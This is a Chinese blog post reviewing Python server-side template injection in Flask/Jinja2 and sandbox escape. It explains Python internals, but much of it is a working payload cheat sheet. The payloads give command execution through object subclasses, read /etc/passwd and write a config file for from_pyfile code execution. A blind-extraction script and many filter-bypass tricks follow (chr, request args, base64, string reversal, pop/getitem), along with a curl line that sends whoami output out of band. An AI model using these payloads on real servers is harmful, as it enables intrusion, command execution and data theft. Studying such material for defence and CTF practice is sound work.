知识点回顾之Pyhon模版注入

如有天樱花正开,期望可跟你示爱。

image

0x01 背景知识

最近复习一下ssti的知识,发现之前了解地好浅,只会用,真是个弟弟,借此机会,深入了解了一下并且记录,这里仅仅总结,助于以后的查阅。

Python 变量作用域

首先是Python 变量作用域,Python是静态作用域,也就是说在Python中,变量的作用域源于它在代码中的位置;在不同的位置,可能有不同的命名空间。命名空间是变量作用域的体现形式,规则是 LEGB,各自代表的含义
L-Local
函数内的命名空间。作用范围:当前整个函数体范围。
E-Enclosing function locals
外部嵌套函数的命名空间。作用范围:闭包函数。
G-Global
全局命名空间。作用范围:当前模块(文件)。
B-Builtin
内建模块命名空间。作用范围:所有模块(文件)
然后再看一下import导入机制:当 import 一个模块时首先会在 sys.modules 这个字典中查找是否已经加载了此模块,如果加载了则只是将模块的名字加入到正在调用 import 的模块的 Local 命名空间中。如果没有加载则从 sys.path 目录中按照模块名称查找模块文件,模块可以是 py、pyc、pyd,找到后将模块载入内存,并加到 sys.modules 中,并将名称导入到当前的 Local 命名空间。
通过 from a import b 导入,a 会被添加到 sys.modules 字典中,b 会被导入到当前的 Local 命名空间。通过 import a as b 导入,a 会被添加到 sys.modules 字典中,b 会被导入到当前的 Local 命名空间。对于嵌套导入的,比如 a.py 中存在一个 import b,那么 import a 时,a 和 b 模块都会被添加到 sys.modules 字典中,a 会被导入到当前的 Local 命名空间中,虽然模块 b 已经加载到内存了,如果访问还要再明确的在本模块中 import b。
导入模块时会执行该模块。
所以说如果某一个模块导入了os模块,我们就可以利用该模块的 dict 进而使用os模块
另外python中万物皆对象,python中类都有一个祖先object类,可以通过class.bases查一下,当然在python2中string有点特殊,多了一个basestring,再查看一下base类才是object。
接下来就是了解一下魔术函数和一些其他的函数

object类

python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,主要是通过mrobases两种方式来创建object的方法如下:

1
2
3
4
>>> ().__class__.__mro__
(<type 'tuple'>, <type 'object'>)
>>> ().__class__.__bases__
(<type 'object'>,)

__builtins__

builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块
可以通过dir()函数来查看该模块内包含的函数,同时也可以通过dict属性调用这些函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
>>> __builtins__.__dict__['__import__']
<built-in function __import__>

>>> __builtins__.__import__
<built-in function __import__>

>>> for i in enumerate(__builtins__.__dict__):
... print(i)
...
(0, '__name__')
(1, '__doc__')
(2, '__package__')
...
>>> for i in enumerate(dir(__builtins__)):
... print(i)
...
(0, '__name__')
(1, '__doc__')
...
>>> __builtins__.__import__('os').system('ls')
__pycache__ ssti test2.py test3.py test4.py
0
>>> __builtins__.__dict__['__import__']('os').system('ls')
__pycache__ ssti test2.py test3.py test4.py
0

__class__

返回调用的类型

__mro__

mro用于展示类的继承关系,查看类继承的所有父类,直到object,类似于bases,这是python的多继承,可以与java做类比

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
需要注意的是:
针对jinjia2/flask:
{{request.__class__.__mro__}}
(<class 'flask.wrappers.Request'>,
<class 'werkzeug.wrappers.request.Request'>,
<class 'werkzeug.wrappers.base_request.BaseRequest'>,
<class 'werkzeug.wrappers.accept.AcceptMixin'>,
<class 'werkzeug.wrappers.etag.ETagRequestMixin'>,
<class 'werkzeug.wrappers.user_agent.UserAgentMixin'>,
<class 'werkzeug.wrappers.auth.AuthorizationMixin'>,
<class 'werkzeug.wrappers.cors.CORSRequestMixin'>,
<class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>,
<class 'flask.wrappers.JSONMixin'>, <class 'werkzeug.wrappers.json.JSONMixin'>,
<class 'object'>)

__bases__

返回所有直接父类组成的元组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
python2下,可以发现""的base类是<type 'basestring'>
>>> "".__class__.__bases__
(<type 'basestring'>,)
>>> "".__class__.__base__
<type 'basestring'>
>>> "".__class__.__bases__[0].__bases__
(<type 'object'>,)
>>> {}.__class__.__bases__
(<type 'object'>,)
>>> [].__class__.__bases__
(<type 'object'>,)
>>> ().__class__.__bases__
(<type 'object'>,)
python3的base都是<type 'object'>

__init__

类实例创建之后调用, 对当前对象的实例的一些初始化

1
2
3
4
5
6
>>> ().__class__.__base__.__subclasses__()[30].__init__
<slot wrapper '__init__' of 'object' objects>

>>> ().__class__.__base__.__subclasses__()[59].__init__
<unbound method catch_warnings.__init__>
wrapper是指这些函数并没有被重载,这时他们并不是function,不具有__globals__属性,后面会用到

__globals__

能够返回函数所在模块命名空间的所有变量
此文件下的所有 不只是这个类的
另外func_globals也是的,这里需要简单了解一下python的运行机制

__getattribute__

当类被调用的时候,无条件进入此函数。

__getattr__

对象中不存在的属性时调用

__getitem__()

list、tuple have getitem(),在后面的bypass可以使用的到。

1
2
3
4
>>> dir(().__class__.__bases__.__getitem__(0))
['__class__', '__delattr__', '__doc__', '__format__', '__getattribute__', '__hash__', '__init__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__']
>>> dir(().__class__.__bases__[0])
['__class__', '__delattr__', '__doc__', '__format__', '__getattribute__', '__hash__', '__init__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__']

__subclasses__

获取类的所有子类,这是一个list。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
In [6]: ().__class__.__bases__[0].__subclasses__()
Out[6]:
[type,
weakref,
weakcallableproxy,
weakproxy,
...

In [72]: for i in enumerate("".__class__.__bases__[0].__subclasses__()):
...: print(i)
...:
(0, <class 'type'>)
(1, <class 'weakref'>)
(2, <class 'weakcallableproxy'>)
(3, <class 'weakproxy'>)
(4, <class 'int'>)
(5, <class 'bytearray'>)
....

__import__

import接收字符串作为参数,导入该字符串名称的模块。
如import sys相当于import(‘sys’),另外由于参数是字符串的形式,当然这样也是可以的import(‘o’+’s’)。
列出常规的3种导入方式:

1
2
3
4
>>> import flask
>>> from flask import Flask
>>> __import__('flask')
<module 'flask' from '/usr/local/lib/python3.7/site-packages/flask/__init__.py'>

另外继续看
接下来看一下Python import 的步骤
python 所有加载的模块信息都存放在 sys.modules 结构中,当 import 一个模块时,会按如下步骤来进行
如果是 import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A
如果是 from A import B,先为 A 创建 module 对象,再解析A,从中寻找B并填充到 A 的 dict 中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
>>> sys.modules['os']=None
>>> import os
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ImportError: No module named os
>>> __import__('os')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ImportError: No module named os
>>> import importlib
>>> importlib.import_module('os')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "importlib/__init__.py", line 37, in import_module
__import__(name)
ImportError: No module named os

可以发现,将os从sys.modules中删掉之后,就不能再引入了,不过了解了机制,如下这样做就可以了。

1
2
3
>>> import sys
>>> sys.modules['os']='/usr/lib/python2.7/os.py'
>>> import os

添加module的过程中,是需要用到sys模块的 ,如果我们把sys,os,reload全部干掉,那就无论如何也再无法引入了。
这个时候,我们知道,引入模块的过程,其实总体来说就是把对应模块的代码执行一遍的过程,禁止了引入,我们还是可以执行的,我们知道了对应的路径,我们就可以执行相应的代码,前提是知道对应的路径。

1
2
>>> execfile('/usr/lib/python2.7/os.py')
>>> system('cat /etc/passwd')

linecache(行-缓存 )

这里需要了解linecache模块,它允许它获取Python资源文件的任一行。当系统试图进行内部优化时,就会使用一个高速缓存。
为什么要了解它呢?
我们看一下这个linecache模块能给我带来什么惊喜。(tips: globals、func_globals are dict)

1
2
3
4
5
6
7
8
9
10
11
12
13
14

>>> "".__class__.__bases__[0].__bases__[0].__subclasses__()[59]
<class 'warnings.WarningMessage'>
>>> ().__class__.__bases__[0].__subclasses__()[59]
<class 'warnings.catch_warnings'>
>>> ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['linecache']
<module 'linecache' from '/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/linecache.pyc'>
>>> ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['linecache'].os.system('whoami')
xxhx
0
>>> ().__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys()
['updatecache', 'clearcache', '__all__', '__builtins__', '__file__', 'cache', 'checkcache', 'getline', '__package__', 'sys', 'getlines', '__name__', 'os', '__doc__']
>>> ().__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.keys()
['updatecache', 'clearcache', '__all__', '__builtins__', '__file__', 'cache', 'checkcache', 'getline', '__package__', 'sys', 'getlines', '__name__', 'os', '__doc__']

可以发现我们可以通过linecache模块获得os、sys等模块。

os模块

1
2
3
4
5
6
In [143]: os.system('whoami')
xxhx
Out[143]: 0
In [144]: os.popen("whoami").read()
...:
Out[144]: 'xxhx\n

commands模块

commands模块会返回命令的输出和执行的状态位,仅限Linux环境(直接引入大佬的文章内容,不再开linux环境测试了)

1
2
3
4
import commands
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("ls")

subprocess模块

1
2
3
import subprocess
subprocess.call(command, shell=True)
subprocess.Popen(command, shell=True)

pty模块

仅限Linux环境

1
2
import pty
pty.spawn("ls")

timeit模块

1
2
3
In [146]: import timeit
In [147]: timeit.timeit("__import__('os').system('dir')",number=1)
In [148]: timeit.timeit("__import__('os').system('ls')",number=1)

platform模块

1
2
In [158]: import platform
In [159]: platform.os.system('ls')

importlib模块

可以使用import_module和import

1
2
3
4
5
6
7
8
9
10
11
In [161]: import importlib
...: importlib.import_module('os').system('ls')
1.png README.md app.py requirements.txt
Dockerfile __pycache__ docker-compose.yml
Out[161]: 0

In [162]: importlib.__import__('os').system('ls')
...:
1.png README.md app.py requirements.txt
Dockerfile __pycache__ docker-compose.yml
Out[162]: 0

sys模块

该模块通过modules()函数引入命令执行模块来实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

In [164]: import sys
...: sys.version
Out[164]: '3.8.2 (default, Mar 11 2020, 00:29:50) \n[Clang 11.0.0 (clang-1100.0.33.17)]'

In [165]:sys.modules['os'].system('ls')
1.png README.md app.py requirements.txt
Dockerfile __pycache__ docker-compose.yml
Out[165]: 0


In [167]: import sys
...: sys.path
Out[167]:
['/usr/local/bin',
'/usr/local/Cellar/python@3.8/3.8.2/Frameworks/Python.framework/Versions/3.8/lib/python38.zip',
...

In [168]: import sys
...: sys.modules

codecs模块

1
2
3
import codecs
codecs.open('/etc/passwd').read()
codecs.open('test.txt', 'w').write('xxx')

dir()函数

dir()都可以看到 此对象可以调用的方法,dir() 函数不带参数时,返回当前范围内的变量、方法和定义的类型列表;带参数时,返回参数的属性、方法列表。如果参数包含方法dir(),该方法将被调用。如果参数不包含dir(),该方法将最大限度地收集参数信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
In [29]: dir(())
Out[29]:
['__add__',
'__class__',
'__contains__',
'__delattr__',
...

In [30]: dir('')
Out[30]:
['__add__',
'__class__',
'__contains__',
...

exec()/eval()/execfile()/compile()函数

这几个函数都能执行参数的Python代码。

1
compile('a = 1 + 2', '<string>', 'exec')

注意:execfile()只存在于Python2,Python3没有该函数。

file()函数

该函数只存在于Python2

1
2
file('/etc/passwd').read()
file('test.txt','w').write('xxx')

open()函数

1
2
open('/etc/passwd').read()
open('test.txt','a').write('xxx')

reload()函数

我们可以通过reload()函数重新加载,reload()方法

1
2
3
>>> reload(__builtins__)
>>> import os
>>> dir(os)

这里说一下bypass用的情况,后面就不列举了。某些情况下,通过del将一些模块的某些方法给删除掉了,但是我们可以通过reload()函数重新加载该模块,从而可以调用删除掉的可利用的方法:

1
2
3
4
5
6
7
8
9
10
11
>>> __builtins__.__dict__['eval']
<built-in function eval>
>>> del __builtins__.__dict__['eval']
>>> __builtins__.__dict__['eval']
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
KeyError: 'eval'
>>> reload(__builtins__)
<module '__builtin__' (built-in)>
>>> __builtins__.__dict__['eval']
<built-in function eval>

在Python3中,reload()被转移到imp模块以及importlib模块中。Python3.4之前在imp中,Python3.4之后imp模块逐步被废弃,reload()移至importlib模块中,需要from imp import reload。

URLopener()函数

1
2
3
4
5
6
7
>>> from urllib import request
>>> request.URLopener
<class 'urllib.request.URLopener'>
>>> dir(request.URLopener())
['_URLopener__tempfiles', '_URLopener__unlink', '__class__', '__del__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_https_connection', '_open_generic_http', 'addheader', 'addheaders', 'cert_file', 'cleanup', 'close', 'ftpcache', 'http_error', 'http_error_default', 'key_file', 'open', 'open_data', 'open_file', 'open_ftp', 'open_http', 'open_https', 'open_local_file', 'open_unknown', 'open_unknown_proxy', 'proxies', 'retrieve', 'tempcache', 'version']
>>> request.URLopener().open_file('/etc/passwd').read()
b'##\n# User Database\n# \n# Note that this file is consulted directly only when the system is running\n# in single-user mode.

<class ‘_frozen_importlib.BuiltinImporter’>

这个是内建包import工具,通过传入内建模块的字符串,我们可以将核心模块引入

1
2
3
4
5
6
7
8
9
>>> globals()['__loader__']().load_module('io')
<module 'io' (built-in)>

>>> globals()['__loader__']().load_module('sys')
<module 'sys' (built-in)>

>>> globals()['__loader__']().load_module('os')
>>> globals()['__loader__']().load_module('os').system('ls')
Applications

0x02 沙箱逃逸和SSTI

Python沙箱

Python沙箱即以一定的方法模拟Python终端,实现用户对Python的使用。
那么Python沙箱逃逸就是攻击者通过某种绕过的方式,从模拟的沙箱环境中逃逸出来,从而实现执行系统命令等攻击操作。

SSTI

Web应用程序经常使用模板系统(例如Twig和FreeMarker)将动态内容嵌入到网页和电子邮件中。当用户输入以不安全的方式嵌入模板时,将发生模板注入。
此漏洞通常是由于开发人员有意让用户提交或编辑模板而引起的-一些模板引擎为此目的提供了一种安全模式。它远非特定于市场营销应用程序-支持高级用户提供的标记的任何功能可能都很容易受到攻击,包括Wiki页面,评论,甚至评论。当简单地将用户输入直接连接到模板中时,模板注入也会偶然发生。
只要当使用模版语言的时候才会发现模版注入漏洞,当然伴随的xss。其实xss的存在可以作为模版注入的探针。但是模版语言的语法和HTML的语言不冲突,所以测试的时候往往发现了xss就默认了,完美错过了模版注入。
这里针对python,比php的smarty、java的FreeMarker。
Flask是一个使用Python编写的轻量级Web应用框架。其 WSGI 工具箱采用Werkzeug,模板引擎则使用Jinja2。Jinja2是Flask作者开发的一个模板系统,起初是仿django模板的一个模板引擎,为Flask提供模板支持,由于其灵活,快速和安全等优点被广泛使用。
在Jinja2中,存在三种语句:

1
2
3
控制结构 {% %}
变量取值 {{ }}
注释 {# #}

以及两个渲染模版函数。

1
2
render_template_string()
render_template()

值得一提的是,字符串格式化,就是render_template_string()使用时候,这个函数作用和前面的类似,顾名思义,区别在于只是第一个参数并非是文件名而是字符串。也就是说,我们不需要再在templates目录中新建HTML文件了,而是可以直接将HTML代码写到一个字符串中,然后使用该函数渲染该字符串中的HTML代码到页面即可。漏洞点酒存在与字符串格式化的时候,作为模板的字符串参数中的传入参数是通过%s的形式获取而非变量取值语句的形式获取,从而导致攻击者通过构造恶意的模板语句来注入到模板中、模板解析执行了模板语句从而实现SSTI攻击。

1
2
3
4
@app.route('/',methods = ['GET','POST'])
def hello_ssti():
template = '''<h2>Hello %s!</h2>''' % request.args.get('name')
return render_template_string(template, person=person)

当get传入的name参数是Jinja2模版语言的时候,ssti就出现了。

0x03 常规操作

获得基类

1
2
3
4
5
6
7
8
9
10
11
12
#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]

文件操作

1
2
3
4
5
6
7
8
9
10
11
12
# python 2.7
找到file类
[].__class__.__bases__[0].__subclasses__()[40]
读文件
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
写文件
[].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test')

# python3.7
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
windows下的os命令
"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()

命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# python2.7
os执行
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache']下有os类,可以直接执行命令:

>>> ().__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12]
<module 'os' from '/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/os.pyc'>

>>> ().__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')
Applications PowerUp.ps1

[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].os.popen('id').read()
print(().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls'))

重新载入__builtins__:实例化了数据
print(().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").system("ls"))
<class 'warnings.catch_warnings'>类很特殊,在内部定义了_module=sys.modules['warnings']
('_warnings', <module '_warnings' (built-in)>)
然后warnings模块包含有__builtins__

eval,impoer等全局函数
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__下有eval,__import__等的全局函数,可以利用此来执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__'].os.popen('id').read()
print(().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").system("ls")'))

#python3.7
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}

也可以利用from_pyfile加载对象到Flask配置环境,这种利用方式算是一种简单的漏洞组合拳。
先利用文件写入漏洞写一个Python文件:

1
2
3
4
向SSTI漏洞注入{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

>>> ''.__class__.__mro__[2].__subclasses__()[40]
<type 'file'>

然后使用config.from_pyfile将该Python文件加载到config变量中:

1
?name={{ config.from_pyfile('/tmp/owned.cfg') }}

访问全局变量config查看是否加载成功:

1
2
{{config}}
可以发现返回的有这个参数RUNCMD:.....

加载成功后,就可以通过以下形式执行任意命令了:

1
2
name={{config['RUNCMD']('whoami')}}
{{ config['RUNCMD']('/usr/bin/id',shell=True) }}

盲注

如果不能执行命令就用盲注的方式爆出来,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}~p0~{% endif %}
# -*- coding: utf-8 -*-
import requests

url = 'http://127.0.0.1:8080/'

def check(payload):
postdata = {
'exploit':payload
}
r = requests.post(url, data=postdata).content
return '~p0~' in r
password = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'

for i in xrange(0,100):
for c in s:
payload = '{% if "".__class__.__mro__[2].__subclasses__()[40]("/tmp/test").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}~p0~{% endif %}'
if check(payload):
password += c
break
print password

间接引用

在不断的dir过程中,发现closure 这个object保存了参数,可以引用原生的import

1
print __import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('l'+'s home')

sys.modules间接调用前面两个模块

1
2
?name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('sys').modules['os'].popen('whoami').read()}}
?name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('sys').modules['platform'].popen('whoami').read()}}

获取配置信息:

1
2
3
?name={{config}}
?name={{url_for.__globals__['current_app'].config}}
?name={{get_flashed_messages.__globals__['current_app'].config}}

0x04沙箱逃逸技巧

关键字过滤/字符拼接/字符翻转

如果没用过滤引号,使用反转,或者各种拼接绕过

1
2
3
4
5
6
7
8
9
10
11
>>> ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']
{'bytearray': <type 'bytearray'>, 'IndexError': <type 'exceptions.IndexError'>, 'all': <built-in function all>
...
>>> '__snitliub__'[::-1]
'__builtins__'
>>> ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__snitliub__'[::-1]]
{'bytearray': <type 'bytearray'>, 'IndexError': <type 'exceptions.IndexError'>, 'all': <built-in function all>
...
>>> ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__buil'+'__snit'[::-1]]
{'bytearray': <type 'bytearray'>, 'IndexError': <type 'exceptions.IndexError'>, 'all': <built-in function all>
...

过滤了引号

使用chr函数

1
2
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__['__builtins__']['chr'] %}
{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}

使用request对象,利用将需要的变量放在请求中,然后通过[],或者通过attr,getattribute获得

1
2
3
4
5
6
7
8
9
10
11
12
13
14
?vul =  ().__class__.__bases__.__getitem__(0).__subclasses__()[58].__init__.__globals__[request.args.a] [request.args.b]&a=chr&b=__builtins__
>>> ().__class__.__bases__.__getitem__(0).__subclasses__()[58].__init__.__globals__['__builtins__']['chr']
<built-in function chr>
当然也可以利用request.values(formdata)、request.cookies(cookies)、request.headres (headers)、request.获取各种路径等去构造
>>> ().__class__.__bases__.__getitem__(0).__subclasses__()[40]
<type 'file'>
>>> ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)
<type 'file'>
>>> ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)('/etc/passwd').read()
'##\n# User Database\n# \n# Note that this file is consulted directly only when the system is running\n# in single-user mode.
...
>>> ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()
'##\n# User Database\n# \n# Note that this file is consulted directly only when the system is running\n# in single-user mode.
...

g属性的利用

保存全局变量的g属性:g: global。g对象解释: 就是为了保存用户一些自定义参数
下面我们试一下,怎么样构造出’id’。
先构造%

1
2
3
4
5
6
7
8
9
10
11
test.html:
{% set pc = g|lower %}
<h1 style = 'font-style:italic'>{{pc}}</h1>
{% set pc = g|lower|list %}
<h1 style = 'font-style:italic'>{{pc}}</h1>
{% set pc = g|lower|list|first %}
<h1 style = 'font-style:italic'>{{pc}}</h1>
{% set pc = g|lower|list|first|urlencode %}
<h1 style = 'font-style:italic'>{{pc}}</h1>
{% set pc = g|lower|list|first|urlencode|first %}
<h1 style = 'font-style:italic'>{{pc}}</h1>

运行后

1
2
3
4
5
6
out:
<flask.g of 'run'>
['<', 'f', 'l', 'a', 's', 'k', '.', 'g', ' ', 'o', 'f', ' ', "'", 'r', 'u', 'n', "'", '>']
<
%3C
%

构造获得c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
test.html:
{%set c=dict(c=1).keys()%}
<h1 style = 'font-style:italic'>{{c}}</h1>
{%set c=dict(c=1,b=2).keys()|reverse|first%}
<h1 style = 'font-style:italic'>{{c}}</h1>
{%set c=dict(c=1,b=2).keys()|first%}
<h1 style = 'font-style:italic'>{{c}}</h1>
{%set c=dict(c=1).keys()|reverse|first%}
<h1 style = 'font-style:italic'>{{c}}</h1>
{%set c=dict(c=1).keys()|first%}
<h1 style = 'font-style:italic'>{{c}}</h1>

out:
dict_keys(['c'])
b
c
c
c

获取’id’并且执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
test.html:
{%set c=dict(c=1).keys()|first%}
<h1 style = 'font-style:italic'>{{c}}</h1>
{%set udl=dict(a=pc,c=c).values() %}
<h1 style = 'font-style:italic'>{{udl}}</h1>
{%set udl=dict(a=pc,c=c).values()|join %}
<h1 style = 'font-style:italic'>{{udl}}</h1>
{% set udl2=udl%(105) + udl%(100) %}
<h1 style = 'font-style:italic'>{{udl2}}</h1>
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('" + udl2 + " ').read()") }}
{% endif %}
{% endfor %}

out:
dict_values(['%', 'c'])
%c
id
uid=501(xxhx) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98
...

过滤中括号

当中括号[]被过滤掉时,
调用getitem()函数直接替换;
调用pop()函数(用于移除列表中的一个元素,默认最后一个元素,并且返回该元素的值替换;

1
2
3
4
5
6
7
8
9
# 原型
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('calc')

# __getitem__()替换中括号[]
''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(59).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').system('calc')

# pop()替换中括号[],结合__getitem__()利用
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.__globals__.pop('__builtins__').pop('__import__')('os').system('calc')
注意pop

过滤globals

globals被禁用时,可以用func_globals直接替换;使用getattribute(‘globa’+’ls‘);如:

1
2
3
4
5
6
7
8
9
10
原型是调用__globals__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('calc')

如果过滤了__globals__,可直接替换为func_globals
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['__builtins__']['__import__']('os').system('calc')

__getattribute__
当类被调用的时候,无条件进入此函数。
也可以通过拼接字符串得到方式绕过
''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__("__glo"+"bals__")['__builtins__']['__import__']('os').system('ls')

过滤mrobasesbase

两者可互相替换来Bypass其中之一被禁用的情况,但需要注意两者获取object类时的格式区别:

1
2
3
4
5
6
7
8
9
10
11
12
13
''.__class__.__mro__[2]
[].__class__.__mro__[1]
{}.__class__.__mro__[1]
().__class__.__mro__[1]
[].__class__.__mro__[-1]
{}.__class__.__mro__[-1]
().__class__.__mro__[-1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
[].__class__.__base__
().__class__.__base__
{}.__class__.__base__

base64编码

对关键字进行base64编码可绕过一些明文检测机制:

1
2
3
4
5
6
7
8
9
10
11
python2
>>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('ls')
Applications

python3
import base64
In [179]: __builtins__.__dict__[str(base64.b64decode('X19pbXBvcnRfXw=='),'utf-8')](str(base64.b64decode('b3M
...: ='),'utf-8')).system('ls')
1.png README.md app.py requirements.txt
Dockerfile __pycache__ docker-compose.yml
Out[179]: 0

字符串拼接

凡是以字符串形式作为参数的都可以使用拼接的形式来绕过特定关键字的检测。

字节翻转

假设要读 a的time属性 : a[‘time’] ,但是代码中的time字符串全部被过滤了

1
2
3
4
s = "emit"
s = s [::-1]
>>> print s
time

过滤下划线

1
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

过滤花括号

1
2
3
4
5
用{%%}标记
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}
这样会没有回显,考虑带外或者盲注
用{%print%}标记,有回显
{%print config%}

0x05 后记

早已忘记多少空虚总要让你梦里占据挥之不去始终等你温暖我长留心中,
早已度过多少伤心此际别说后悔过去彼此都算一生只有一次爱情无终。

—《太傻》

-------------本文结束&感谢您的阅读-------------